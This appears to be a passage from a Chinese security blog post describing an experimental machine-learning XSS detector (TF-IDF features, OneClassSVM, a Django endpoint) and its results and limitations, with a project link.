我们准备好三个txt,分别为train.txt,用来训练模型,xss.txt及none_xss.txt,用来在参数优化时计算召回率和F1值。其中train里全部是之前我们收集的和生成的XSS payload, none_xss.txt是所谓的白名单,里面是我们能接受的正常参数,这里面我使用了中国常见用户名Top500(确实懒了), xss.txt是一些XSS攻击,最好是和train不重复的,有一点异变的那种,毕竟XSS很灵活,我们自己处理一下就可以。

使用TfidfVectorizer进行特征处理,截取步长为2Bytes,此处有个坑,读取文件时使用编码应为‘ISO-8859-1’,用其他的有问题,不知道为什么。

然后使用OneClassSVM进行模型训练,使用ParameterGrid遍历选择最优参数,这些都不赘述了,在我已经删除的博客中都介绍过了(哈哈哈)。

得到一个满意的模型后,我们将其存为文件,方便下次调用。

然后我们写一个特别简单的django接口,每次传过来参数,我们再使用TfidfVectorizer进行向量化并加载模型进行预测,然后将返回的结果自定义返回即可,由于实现代码比较简单,这里没贴,在下面有Github地址。

六、效果检验

先看看一些XSS攻击payload:

基于机器学习的XSS攻击防御
基于机器学习的XSS攻击防御
基于机器学习的XSS攻击防御

还行,都识别出来了,再看看正常的。

基于机器学习的XSS攻击防御

可以看到,接口返回正常行为,并将字符串返回来了,没毛病。

但是实际上在测试的时候,发现一个神奇的东西,一个普普通通的字母 a 也会被认为是XSS攻击。

基于机器学习的XSS攻击防御

WTF?什么鬼?其实特不难理解,我们的白名单均为5-10个字母的姓名,而 src alert 这些字符在payload里出现的频率又比较高,在单个字母出现的情况下,自然就被识别为了攻击行为。

这说明我们的白名单选取的不够全面,导致模型预测输出出现了偏差。还是那句话,数据的好坏决定了模型的好坏。

七、总结

我们可以看到,我们的模型目前能够实现一些效用,但还存在很多不足,但以我目前的时间精力,也就弄到这个地步了,项目代码比较简单,已经传到Github上,地址如下: https://github.com/JosephTribbianni/Marcus

目前来看,使用人工智能语义分析算法,能够实现基于上下文逻辑的攻击检测,在降低误报率的同时,将攻击拦截性能提升到很高的水准。

基本是基于深度学习,使用基于RNN、nlp 等模型,由于目前本人没怎么接触过深度学习,连sklearn玩的还不是很6呢,所以可能要等以后再来炒冷饭了。

原创文章,作者:su18,如若转载,请注明出处:http://absec.cn/?p=747

发表评论

电子邮件地址不会被公开。 必填项已用*标注

评论列表(1条)

  • XRumerTest 2019年9月29日 下午5:52

    Hello. And Bye.

联系我们

010-61943626

在线咨询:点击这里给我发消息

邮件:marketing@anbai.com

工作时间:电话:周一至周五,10:00-18:30,节假日休息,邮件随时发哦~